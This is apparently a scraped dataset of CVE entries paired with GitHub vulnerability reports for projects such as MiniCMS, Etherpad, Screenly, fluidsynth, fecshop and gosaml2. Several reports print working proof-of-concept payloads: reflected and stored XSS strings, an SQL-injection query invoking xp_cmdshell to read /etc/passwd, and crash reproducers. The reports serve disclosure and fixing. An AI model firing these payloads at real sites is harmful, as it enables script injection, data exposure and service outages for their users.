"MiniCMS"
] | # This is a reflective XSS vulnerability because "echo $_SERVER['REQUEST_URI'];" in post-edit.php 152 line
## post-edit.php
In Firefox and chrome, URL will be URLencoded.
In IE, if has Redirection，URL will not be URLencoded.
After logging in, XSS is triggered using exp
## Exp:
http://127.0.0.1/MiniCMS1/mc-admin/post-edit.php?520=\"><script>alert("dudu")</script>
## Result:
| MiniCMS reflective XSS in domain.com/mc-admin/post-edit.php | https://api.github.com/repos/bg5sbk/MiniCMS/issues/27/comments | 0 | 2018-12-14T14:07:55Z | 2021-07-19T17:35:35Z | https://github.com/bg5sbk/MiniCMS/issues/27 | 391,125,105 | 27 | 1,894 |
CVE-2020-22781 | 2021-04-28T21:15:08.587 | In Etherpad < 1.8.3, a specially crafted URI would raise an unhandled exception in the cache mechanism and cause a denial of service (crash the instance). | {
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] | 89 | https://github.com/ether/etherpad-lite/issues/3502 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"ether",
"etherpad-lite"
] | Hi,
On our server we were getting some Etherpad outage. We relied it to a nasty query:
```
https://pad.bling.org/javascripts/lib/ep_etherpad-lite/static/js/pad.js?callback=require.define&vLtF%3D6904%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23
```
A "minimal" query example:
```
https://pad.bling.org/javascripts/lib/ep_etherpad-lite/static/js/pad.js?callback=require.define&vLtF%3D6904%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert(%22XSS%22)%3C%2Fscript%3E%27
```
This provoke an immediate crash:
```
oct. 23 18:17:19 pad.bling.org run.sh[8976]: [2018-10-23 18:17:19.994] [ERROR] console - Error: ENAMETOOLONG: name too long, open '/var/www/etherpad-lite/var/minified_L2phdmFzY3JpcHRzL2xpYi9lcF9ldGhlcn
oct. 23 18:17:19 pad.bling.org run.sh[8976]: at Error (native)
oct. 23 18:17:19 pad.bling.org run.sh[8976]: [2018-10-23 18:17:19.995] [INFO] console - graceful shutdown...
oct. 23 18:17:20 pad.bling.org run.sh[8976]: [2018-10-23 18:17:20.091] [INFO] console - db sucessfully closed.
```
We are running the 1.7.0 flavor on Debian Stretch with node v6.14.4 and no specific customization.
We reproduced the behavior on two independents Etherpad installation. | SQL injection attempts killls Etherpad lite | https://api.github.com/repos/ether/etherpad-lite/issues/3502/comments | 13 | 2018-10-23T16:32:13Z | 2020-03-31T02:09:39Z | https://github.com/ether/etherpad-lite/issues/3502 | 373,090,558 | 3,502 | 1,895 |
CVE-2020-22783 | 2021-04-28T21:15:08.653 | Etherpad <1.8.3 stored passwords used by users insecurely in the database and in log files. This affects every database backend supported by Etherpad. | {
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"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"ether",
"etherpad-lite"
] | I can see my admin password in plain text in the database.
```
sessionstorage:-FWbiguBVxp1_VWLERNNheogwak9aewi {"cookie":
{"path":"/","_expires":null,"originalMaxAge":null,"httpOnly":true,"secure":false},
"passport":{},"user":{"password":"Here is a plain text password!",
"is_admin":true,"username":"admin"}}
```
That must not happen!
v1.6.6 | plain text password in the database | https://api.github.com/repos/ether/etherpad-lite/issues/3421/comments | 10 | 2018-07-10T11:27:48Z | 2020-10-27T20:30:02Z | https://github.com/ether/etherpad-lite/issues/3421 | 339,801,634 | 3,421 | 1,896 |
CVE-2021-30027 | 2021-04-29T15:15:11.020 | md_analyze_line in md4c.c in md4c 0.4.7 allows attackers to trigger use of uninitialized memory, and cause a denial of service via a malformed Markdown document. | {
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"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
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"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"mity",
"md4c"
] | Hi,
While fuzzing md4c 0.4.7 with AFL++ and MSAN, I found out that the md_analyze_line() function may use uninitialized memory.
Attaching a reproducer (gzipped so GitHub accepts it): [input01.md.gz](https://github.com/mity/md4c/files/6216166/input01.md.gz)
Issue can be reproduced by running:
`md2html input01.md`
```
==2793660==WARNING: MemorySanitizer: use-of-uninitialized-value
#0 0x7f021124c622 in md_analyze_line /home/bsdboy/md/md4c-release-0.4.7/src/md4c.c:5985:12
#1 0x7f021122ee27 in md_process_doc /home/bsdboy/md/md4c-release-0.4.7/src/md4c.c:6254:9
#2 0x7f021122dca5 in md_parse /home/bsdboy/md/md4c-release-0.4.7/src/md4c.c:6332:11
#3 0x7f02112fd66b in md_html /home/bsdboy/md/md4c-release-0.4.7/src/md4c-html.c:571:12
#4 0x4989fb in process_file /home/bsdboy/md/md4c-release-0.4.7/md2html/md2html.c:144:11
#5 0x4989fb in main /home/bsdboy/md/md4c-release-0.4.7/md2html/md2html.c:368:11
#6 0x7f0210e580b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#7 0x41c29d in _start (/home/bsdboy/md/md4c-release-0.4.7/build/md2html/md2html+0x41c29d)
SUMMARY: MemorySanitizer: use-of-uninitialized-value /home/bsdboy/md/md4c-release-0.4.7/src/md4c.c:5985:12 in md_analyze_line
```
with memory origin tracking option `-fsanitize-memory-track-origins`
```
==2793563==WARNING: MemorySanitizer: use-of-uninitialized-value
#0 0x7ffb9423f84f in md_analyze_line /home/bsdboy/md/md4c-release-0.4.7/src/md4c.c:5985:12
#1 0x7ffb9421a49b in md_process_doc /home/bsdboy/md/md4c-release-0.4.7/src/md4c.c:6254:9
#2 0x7ffb94218d8f in md_parse /home/bsdboy/md/md4c-release-0.4.7/src/md4c.c:6332:11
#3 0x7ffb9430c7c4 in md_html /home/bsdboy/md/md4c-release-0.4.7/src/md4c-html.c:571:12
#4 0x49972f in process_file /home/bsdboy/md/md4c-release-0.4.7/md2html/md2html.c:144:11
#5 0x49972f in main /home/bsdboy/md/md4c-release-0.4.7/md2html/md2html.c:368:11
#6 0x7ffb93e430b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#7 0x41c29d in _start (/home/bsdboy/md/md4c-release-0.4.7/build/md2html/md2html+0x41c29d)
Uninitialized value was created by a heap allocation
#0 0x42847d in malloc (/home/bsdboy/md/md4c-release-0.4.7/build/md2html/md2html+0x42847d)
#1 0x49ab35 in membuf_init /home/bsdboy/md/md4c-release-0.4.7/md2html/md2html.c:69:17
SUMMARY: MemorySanitizer: use-of-uninitialized-value /home/bsdboy/md/md4c-release-0.4.7/src/md4c.c:5985:12 in md_analyze_line
``` | Use of uninitialized value in the md_analyze_line() function | https://api.github.com/repos/mity/md4c/issues/155/comments | 2 | 2021-03-27T18:39:10Z | 2021-04-29T20:43:30Z | https://github.com/mity/md4c/issues/155 | 842,576,802 | 155 | 1,897 |
CVE-2021-30218 | 2021-04-29T15:15:11.050 | samurai 1.2 has a NULL pointer dereference in writefile() in util.c via a crafted build file. | {
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"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"michaelforney",
"samurai"
] | Hi,
While fuzzing samurai 1.2 (and git nightly repo), I found a NULL pointer dereference in the writefile() function, in util.c.
Attaching a reproducer (gzipped so GitHub accepts it): [test0.gz](https://github.com/michaelforney/samurai/files/6250699/test0.gz)
Issue can be reproduced by running:
`samu -f test0`
```
=================================================================
==2291722==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0000004e5f97 bp 0x7ffdb1d1ce30 sp 0x7ffdb1d1cde0 T0)
==2291722==The signal is caused by a READ memory access.
==2291722==Hint: address points to the zero page.
#0 0x4e5f97 in writefile /src/samurai-1.2/util.c:261:25
#1 0x4cbf71 in jobstart /src/samurai-1.2/build.c:298:7
#2 0x4ca7c7 in build /src/samurai-1.2/build.c:568:19
#3 0x4dc5aa in main /src/samurai-1.2/samu.c:256:2
#4 0x7f0408e480b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
#5 0x41c42d in _start (/src/samurai/samu+0x41c42d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /src/samurai-1.2/util.c:261:25 in writefile
==2291722==ABORTING
``` | NULL pointer dereference in the writefile() function | https://api.github.com/repos/michaelforney/samurai/issues/67/comments | 1 | 2021-04-02T17:48:35Z | 2021-04-04T09:25:13Z | https://github.com/michaelforney/samurai/issues/67 | 849,361,025 | 67 | 1,898 |
CVE-2021-30219 | 2021-04-29T15:15:11.077 | samurai 1.2 has a NULL pointer dereference in printstatus() function in build.c via a crafted build file. | {
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] | github.com | [
"michaelforney",
"samurai"
] | Hi,
While fuzzing samurai 1.2 (and git nightly repo), I found a NULL pointer dereference in the printstatus() function, in build.c.
```
262 static void
263 printstatus(struct edge *e, struct string *cmd)
264 {
265 struct string *description;
266 char status[256];
267
268 description = buildopts.verbose ? NULL : edgevar(e, "description", true);
269 if (!description || description->n == 0)
270 description = cmd;
271 formatstatus(status, sizeof(status));
272 fputs(status, stdout);
273 puts(description->s);
274 }
```
In the code snippet, it seems there are no checks on `cmd` parameter which leads to set the variable `description` to `NULL` on L270 and then on L273 it dereferences the NULL
Attaching a reproducer (gzipped so GitHub accepts it): [test1.gz](https://github.com/michaelforney/samurai/files/6250743/test1.gz)
Issue can be reproduced by running:
`samu -f test1`
```
=================================================================
==2291724==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000008 (pc 0x7fa51cd50675 bp 0x7ffdf10454f0 sp 0x7ffdf1044ca8 T0)
==2291724==The signal is caused by a READ memory access.
==2291724==Hint: address points to the zero page.
#0 0x7fa51cd50675 (/lib/x86_64-linux-gnu/libc.so.6+0x18b675)
#1 0x4355d1 in puts (/src/samurai/samu+0x4355d1)
#2 0x4cb75f in printstatus /src/samurai-1.2/build.c:273:2
#3 0x4cc1f1 in jobstart /src/samurai-1.2/build.c:312:3
#4 0x4ca7c7 in build /src/samurai-1.2/build.c:568:19
#5 0x4dc5aa in main /src/samurai-1.2/samu.c:256:2
#6 0x7fa51cbec0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
#7 0x41c42d in _start (/src/samurai/samu+0x41c42d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x18b675)
==2291724==ABORTING
``` | NULL pointer dereference in the printstatus() function | https://api.github.com/repos/michaelforney/samurai/issues/68/comments | 1 | 2021-04-02T17:58:51Z | 2021-04-04T10:59:51Z | https://github.com/michaelforney/samurai/issues/68 | 849,365,583 | 68 | 1,899 |
CVE-2020-21101 | 2021-04-29T17:15:08.877 | Cross Site Scriptiong vulnerabilityin Screenly screenly-ose all versions, including v1.8.2 (2019-09-25-Screenly-OSE-lite.img), in the 'Add Asset' page via manipulation of a 'URL' field, which could let a remote malicious user execute arbitrary code. | {
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"79"
] | 79 | https://github.com/Screenly/screenly-ose/issues/1254 | [
"Third Party Advisory"
] | github.com | [
"Screenly",
"screenly-ose"
] | # Describe the bug
### Suggested description of the vulnerability
: A stored cross-site scripting (XSS) vulnerability in the 'Add Asset' page of Screenly-OSE allows a remote attacker to introduce arbitary Javascript via manipulation of a 'URL' filed.
### Attack vector(s)
1. Press the 'Add Asset' button in the upper right corner.
2. Enter `https://www.google.com/?<img src=xss onerror=alert(document.domain)>` in the 'Asset URL' field.
3. When accessing the main page ('Schedule Overview' menu), arbitrary code is executed.
(The same vulnerability occurs when uploading to a file other than a URL.)
### Affected URL/API(s)
`/api/v1.2/assets`
### Environment
* Raspberry Pi Hardware Version: Model 3B+ Revision: 1.3 Ram: 1 GB Sony UK
* Screenly OSE Version: 2019-09-25-Screenly-OSE-lite.img
| Cross Site Scripting (Stored) vulnerability | https://api.github.com/repos/Screenly/Anthias/issues/1254/comments | 1 | 2019-11-12T11:55:32Z | 2019-11-27T07:39:25Z | https://github.com/Screenly/Anthias/issues/1254 | 521,505,755 | 1,254 | 1,900 |
CVE-2021-21417 | 2021-04-29T17:15:09.023 | fluidsynth is a software synthesizer based on the SoundFont 2 specifications. A use after free violation was discovered in fluidsynth, that can be triggered when loading an invalid SoundFont file. | {
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"416"
] | 416 | https://github.com/FluidSynth/fluidsynth/issues/808 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"FluidSynth",
"fluidsynth"
] | version: master(v.2.1.1), ubuntu18.04(v1.1.9), ubuntu20.04(v.2.1.1), ....
https://github.com/FluidSynth/fluidsynth/blob/master/src/sfloader/fluid_sffile.c#L1952
It says Gen_SampleId is the last gen, and then set `level` to 3 and break.
```c
else if(genid == Gen_SampleId)
{
/* sample is last gen */
level = 3;
READW(sf, genval.uword);
((SFZone *)(p2->data))->instsamp = FLUID_INT_TO_POINTER(genval.uword + 1);
break; /* break out of generator loop */
}
```
but if a malformed sf2 doesn't contain Gen_SampleId, it will finally goto here:
https://github.com/FluidSynth/fluidsynth/blob/master/src/sfloader/fluid_sffile.c#L2041
```c
if(level == 3) // level == 2 because no Gen_SampleId found
{
SLADVREM(z->gen, p3); /* zone has sample? */
}
else // enter here
{
/* its a global zone */
if(!gzone) // not the first time enter here, so gzone == TRUE, skip
{
gzone = TRUE;
/* if global zone is not 1st zone, relocate */
if(*hz != p2)
{
void *save = p2->data;
FLUID_LOG(FLUID_WARN, "Instrument '%s': Global zone is not first zone",
((SFPreset *)(p->data))->name);
SLADVREM(*hz, p2);
*hz = fluid_list_prepend(*hz, save);
continue;
}
}
else // finally enter here and free it, but actually it's gzone. so it will cause an use-after-free later ...
{
/* previous global zone exists, discard */
FLUID_LOG(FLUID_WARN, "Instrument '%s': Discarding invalid global zone",
((SFInst *)(p->data))->name);
*hz = fluid_list_remove(*hz, p2->data);
delete_zone((SFZone *)fluid_list_get(p2));
}
}
```
it will be freed again at: https://github.com/FluidSynth/fluidsynth/blob/master/src/sfloader/fluid_sffile.c#L2293
```c
entry = zone->gen;
while(entry)
{
FLUID_FREE(fluid_list_get(entry)); // free at here
entry = fluid_list_next(entry);
}
```
fluid_synth_sfload() -> fluid_defsfloader_load() -> fluid_defsfont_load() -> fluid_sffile_close() -> delete_inst() -> delete_zone()
------
**HERE** is an example that trigger this vuln: [**vuln.zip**](https://github.com/FluidSynth/fluidsynth/files/6136193/vuln.zip)
Programs like VLC that use this library are affected by this vulnerability:
| fluidsynth crashes when loading malformed sf2 file | https://api.github.com/repos/FluidSynth/fluidsynth/issues/808/comments | 11 | 2021-03-14T06:33:16Z | 2021-05-06T20:17:51Z | https://github.com/FluidSynth/fluidsynth/issues/808 | 831,079,526 | 808 | 1,901 |
CVE-2020-22808 | 2021-04-29T19:15:08.863 | An issue was found in yii2_fecshop 2.x. There is a reflected XSS vulnerability in the check cart page. | {
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] | github.com | [
"fecshop",
"yii2_fecshop"
] | Hi, this is Xcheck team. Our code safety check tool **Xcheck** has found 2 xss vulnerabilities in this object. Here are the detail.
1. yii2_fecshop-master/app/appfront/theme/base/front/checkout/cart/index.php
line: 294. `selectall = "<?= Yii::$app->request->get('selectall') ?>";`
2. yii2_fecshop-master/app/apphtml5/theme/base/html5/checkout/cart/index.php
line:175 `selectall = "<?= Yii::$app->request->get('selectall') ?>";`
You can visit this url to verify. `http://fecshop.apphtml5.fancyecommerce.com/checkout/cart?selectall=xcheck%22;alert(1);a=%22`
| Xss vulnerability | https://api.github.com/repos/fecshop/yii2_fecshop/issues/87/comments | 1 | 2020-05-20T08:59:08Z | 2020-05-26T09:21:54Z | https://github.com/fecshop/yii2_fecshop/issues/87 | 621,587,749 | 87 | 1,902 |
CVE-2020-18035 | 2021-04-29T23:15:07.910 | Cross Site Scripting (XSS) in Jeesns v1.4.2 allows remote attackers to execute arbitrary code by injecting commands into the "CKEditorFuncNum" parameter in the component "CkeditorUploadController.java". | {
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] | github.com | [
"zchuanzhao",
"jeesns"
] | 您好：
我是360代码卫士的工作人员，在我们的开源项目的代码审计中发现jeesns存在xss漏洞，详细信息如下：
在CkeditorUploadController.java文件的32行处获取了请求中的CKEditorFuncNum参数，最后在41行处输出在页面上导致了xss漏洞。
虽然项目中存在xss拦截器
但是由于只对script标签内的字符做了过滤，而此处的xss并不需要利用script标签，因为上下文中已经有了。CKEditorFuncNum=");prompt(1);
虽然是post请求的反射型xss，但是还是能结合csrf进行攻击
| 反射型xss | https://api.github.com/repos/lxinet/jeesns/issues/8/comments | 1 | 2018-12-24T07:48:19Z | 2018-12-26T09:16:24Z | https://github.com/lxinet/jeesns/issues/8 | 393,829,639 | 8 | 1,903 |
CVE-2020-7731 | 2021-04-30T16:15:07.547 | This affects all versions <0.7.0 of package github.com/russellhaering/gosaml2. There is a crash on nil-pointer dereference caused by sending malformed XML signatures. | {
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"url": "https://github.com/russellhaering/gosaml2/releases/tag/v0.7.0"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory"
],
"url": "https://snyk.io/vuln/SNYK-GOLANG-GITHUBCOMRUSSELLHAERINGGOSAML2-608302"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gosaml2_project:gosaml2:*:*:*:*:*:*:*:*",
"matchCriteriaId": "01666B65-2166-4E89-9526-120CF01292E8",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"476"
] | 476 | https://github.com/russellhaering/gosaml2/issues/59 | [
"Patch",
"Third Party Advisory"
] | github.com | [
"russellhaering",
"gosaml2"
] | I've been doing a bit of fuzzing of this package with go-fuzz. I captured a valid SAML response from Okta and then had go-fuzz mutate it. I have fuzzing implemented on this branch https://github.com/stevenjohnstone/gosaml2/tree/sjj/fuzzing.
Here's the panic in a simple test program:
```go
package main
import (
"crypto/x509"
"encoding/base64"
"encoding/xml"
"time"
saml2 "github.com/russellhaering/gosaml2"
"github.com/russellhaering/gosaml2/types"
dsig "github.com/russellhaering/goxmldsig"
)
const (
timeString = "2019-08-12T12:00:52.718Z"
oktaMetadata = `<?xml version="1.0" encoding="UTF-8"?><md:EntityDescriptor entityID="http://www.okta.com/exk133onomIuOW98z357" xmlns:md="urn:oasis:names:tc:SAML:2.0:metadata"><md:IDPSSODescriptor WantAuthnRequestsSigned="false" protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol"><md:KeyDescriptor use="signing"><ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:X509Data><ds:X509Certificate>MIIDpDCCAoygAwIBAgIGAWxzAwX1MA0GCSqGSIb3DQEBCwUAMIGSMQswCQYDVQQGEwJVUzETMBEG
A1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzENMAsGA1UECgwET2t0YTEU
MBIGA1UECwwLU1NPUHJvdmlkZXIxEzARBgNVBAMMCmRldi05MDUyNTExHDAaBgkqhkiG9w0BCQEW
DWluZm9Ab2t0YS5jb20wHhcNMTkwODA4MjA1MzMzWhcNMjkwODA4MjA1NDMzWjCBkjELMAkGA1UE
BhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xDTALBgNV
BAoMBE9rdGExFDASBgNVBAsMC1NTT1Byb3ZpZGVyMRMwEQYDVQQDDApkZXYtOTA1MjUxMRwwGgYJ
KoZIhvcNAQkBFg1pbmZvQG9rdGEuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
m+ZZF6aEG6ehLLIV6RPA+i1z6ss3HBG2bZD3efwKCDDXYUkp59AE7JsjVHMtpJPHhzHuScuHDMlu
HmkBQTW7j9XpnaRn8SfZXkwlCUHTo+HAC9lwbQxO4d4wnwgnm6FAjm1I/gbfFAobd8BR9pDxHuXE
MQ0DtQu/W3WbDUrz/bhSxPJAoVy2koQn9G0y3unm7eRwYWHeuW6GdPWV2szTtDS0c3qtUXVF5Ugg
iQYlwQu6xkfy4l8iGJL7ETa2BmJzwCFecMIct87SqNhYQwCBH54MBaHcaSsCKyimNvMY9B7RmC+H
4+awePPA1q3R/UQ3Pfom8mx6yDdKIWqlkG3MsQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQAiURCZ
P4oJWcf1o5nm4yG15UH01g/S6Y4OUWMi6BFJy9fCrJ0h/2BZKi68SQ0uMAbdK6anxCzq3Rr5MSzW
OWPQ1Zljn3LGPsiTFdFca/GVRen5IYQ7Dr2Mvhtm+QVscEY9TDjtETbTAHEVEjwXmB21wtdIhizv
sQS7wz0A8LV+Atpbev45RiV6COmB6T6vJuFQ7ZsDZMSHZriTYiETTJvHBGd7PtbCxYNc6LRB2JDb
wlekRhVEjR0UhnM+nn2sqqbv7tDEPs63lZSDXCnR1PhscHrEuQ04rHI3OL0gCULVQFvJrj85IAZF
1QQuGUK8ozfOyFpQWAJUW71INnF/SLWv</ds:X509Certificate></ds:X509Data></ds:KeyInfo></md:KeyDescriptor><md:NameIDFormat>urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified</md:NameIDFormat><md:NameIDFormat>urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress</md:NameIDFormat><md:SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" Location="https://dev-905251.okta.com/app/medev905251_test_1/exk133onomIuOW98z357/sso/saml"/><md:SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://dev-905251.okta.com/app/medev905251_test_1/exk133onomIuOW98z357/sso/saml"/></md:IDPSSODescriptor></md:EntityDescriptor>`
badInput = `<saml2:Assertion ID="id1684056077776386493060641"IssueInstant="2019-08-12T12:00:52.718Z"Version="2.0"xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"xmlns:xs="http://www.w3.org/2001/XMLSchema"><saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"xmlns="">http://www.okta.com/exk133onomIuOW98z357</l><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><ds:Reference URI="#id1684056077776386493060641"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"><ec:InclusiveNamespaces PrefixList="xs"xmlns:ec="http://www.w3.org/2001/10/xml-exc-c14n#"/></m></s><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>dC1cm0pLLjIWZC6G2Pmf0JogmqHztp9W1euXPd/TUHo=</e></e></o><ds:SignatureValue>YRSCFLIkIgjbbYLyfCIc8jsP2MUJPjn+nYWRdlVIDdXtYXXxklYqdBXQsxDwNcsOAIGS75PeVGryml3oBkUDg/MfK7z/fFPLXX7c7xgh7/DBAFlSXbwlJQxuXQ5eZcGesgG6nYRwU1hpW+yN7C2ODN9KHi5TUdiEhvy8vdlFSfxdy4Mn68nG/UZBqmHHIZdRG2/Hpcs29YyaVVZUCZ0w22b7zsPuOXHuStOSTQ6isxI2R268+ZNKERYaNMCAGX4zNlT3mHBV0NnZkbO3wmlOfKksL+Qx7L64xFc3PaervxWuPqh2FoWpTCqFdliLdvUfFDszKXJKhO0bj1U0aSrdzg==</e><s><s><s></X></X></o></e><saml2:Subject xmlns=""><saml2:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">steven.james.johnstone@gmail.com</l><saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml2:SubjectConfirmationData InResponseTo="_40a419f5-5c1c-43d0-5834-5caf268a5f01"NotOnOrAfter="2019-08-12T12:05:52.718Z"Recipient="https://127.0.0.1/login"/></l></l><saml2:Conditions NotBefore="2019-08-12T11:55:52.718Z"NotOnOrAfter="2019-08-12T12:05:52.718Z"xmlns=""><saml2:AudienceRestriction><saml2:Audience>37a8eec1ce19687d132fe29051dca629d164e2c4958ba141d5f4133a33f0688f.jazznetworks.com</l></l></l><saml2:AuthnStatement AuthnInstant="2019-08-12T12:00:52.718Z"SessionIndex="_40a419f5-5c1c-43d0-5834-5caf268a5f01"xmlns=""><saml2:AuthnContext><saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</l></l></l><saml2:AttributeStatement xmlns=""><saml2:Attribute Name="FirstName"NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"><saml2:AttributeValue xmlns=""xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:type="xs:string">Steven</l></l><saml2:Attribute Name="LastName"NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"><saml2:AttributeValue xmlns=""xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:type="xs:string">Johnstone</l></l><saml2:Attribute Name="Email"NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"><saml2:AttributeValue xmlns=""xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:type="xs:string">steven.james.johnstone@gmail.com`
)
func newServiceProvider() *saml2.SAMLServiceProvider {
metadata := &types.EntityDescriptor{} // may need to support EntityDescriptors (plural)
if err := xml.Unmarshal([]byte(oktaMetadata), metadata); err != nil {
panic(err)
}
certStore := dsig.MemoryX509CertificateStore{
Roots: []*x509.Certificate{},
}
for _, kd := range metadata.IDPSSODescriptor.KeyDescriptors {
for _, xcert := range kd.KeyInfo.X509Data.X509Certificates {
if xcert.Data == "" {
panic("nope")
}
certData, err := base64.StdEncoding.DecodeString(xcert.Data)
if err != nil {
panic(err)
}
idpCert, err := x509.ParseCertificate(certData)
if err != nil {
panic(err)
}
certStore.Roots = append(certStore.Roots, idpCert)
}
}
SSOs := metadata.IDPSSODescriptor.SingleSignOnServices
tenantURI := "test.example.com"
fakeTime, err := time.Parse(time.RFC3339, timeString)
if err != nil {
panic(err)
}
clock := dsig.NewFakeClockAt(fakeTime)
return &saml2.SAMLServiceProvider{
Clock: clock,
IdentityProviderSSOURL: SSOs[0].Location,
IdentityProviderIssuer: metadata.EntityID,
ServiceProviderIssuer: tenantURI,
AssertionConsumerServiceURL: "https://127.0.0.1/login",
SignAuthnRequests: true,
AudienceURI: tenantURI,
IDPCertificateStore: &certStore,
ValidateEncryptionCert: true,
}
}
func main() {
base64Input := base64.StdEncoding.EncodeToString([]byte(badInput))
if _, err := newServiceProvider().RetrieveAssertionInfo(base64Input); err != nil {
_ = err
}
}
```
```
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x6727e6]
goroutine 1 [running]:
github.com/russellhaering/gosaml2.(*SAMLServiceProvider).validateAssertionSignatures.func1(0xc000179f20, 0xc000182ea0, 0x9, 0x1)
/goroot/go/src/github.com/russellhaering/gosaml2/decode_response.go:170 +0x56
github.com/russellhaering/goxmldsig/etreeutils.NSFindIterateCtx.func1(0xc000179f20, 0xc000182ea0, 0xc000179f20, 0x0)
/goroot/go/src/github.com/russellhaering/goxmldsig/etreeutils/namespace.go:281 +0x137
github.com/russellhaering/goxmldsig/etreeutils.NSTraverse(0xc0000ccc60, 0xc000182ea0, 0xc000179ef0, 0x30, 0x6ebda0)
/goroot/go/src/github.com/russellhaering/goxmldsig/etreeutils/namespace.go:148 +0x6e
github.com/russellhaering/goxmldsig/etreeutils.NSFindIterateCtx(0xc0000ccc60, 0xc000182ea0, 0x71c4db, 0x25, 0x712a6e, 0x9, 0xc000179ec0, 0x7152bf, 0x12)
/goroot/go/src/github.com/russellhaering/goxmldsig/etreeutils/namespace.go:268 +0xa4
github.com/russellhaering/goxmldsig/etreeutils.NSFindIterate(...)
/goroot/go/src/github.com/russellhaering/goxmldsig/etreeutils/namespace.go:257
github.com/russellhaering/gosaml2.(*SAMLServiceProvider).validateAssertionSignatures(0xc000166000, 0xc000182ea0, 0x0, 0x0)
/goroot/go/src/github.com/russellhaering/gosaml2/decode_response.go:200 +0xed
github.com/russellhaering/gosaml2.(*SAMLServiceProvider).ValidateEncodedResponse(0xc000166000, 0xc000145000, 0xf80, 0xc000013510, 0xc000160000, 0xc0000d8b40)
/goroot/go/src/github.com/russellhaering/gosaml2/decode_response.go:248 +0x30e
github.com/russellhaering/gosaml2.(*SAMLServiceProvider).RetrieveAssertionInfo(0xc000166000, 0xc000145000, 0xf80, 0xba0, 0xc000145000, 0xf80)
/goroot/go/src/github.com/russellhaering/gosaml2/retrieve_assertion.go:40 +0x9b
main.main()
/goroot/go/src/github.com/russellhaering/gosaml2/crasher/main.go:92 +0xaa
exit status 2
```
Appears to be unverified assertions can have nil parents. Appears to be fixed with this patch:
```diff
index a40e4b1..0804962 100644
--- a/decode_response.go
+++ b/decode_response.go
@@ -6,6 +6,7 @@ import (
"crypto/tls"
"crypto/x509"
"encoding/base64"
+ "errors"
"fmt"
"io/ioutil"
@@ -166,7 +167,11 @@ func (sp *SAMLServiceProvider) validateAssertionSignatures(el *etree.Element) er
signedAssertions := 0
unsignedAssertions := 0
validateAssertion := func(ctx etreeutils.NSContext, unverifiedAssertion *etree.Element) error {
- if unverifiedAssertion.Parent() != el {
+ parent := unverifiedAssertion.Parent()
+ if parent == nil {
+ return errors.New("parent is nil")
+ }
+ if parent != el {
return fmt.Errorf("found assertion with unexpected parent element: %s", unverifiedAssertion.Parent().Tag)
}
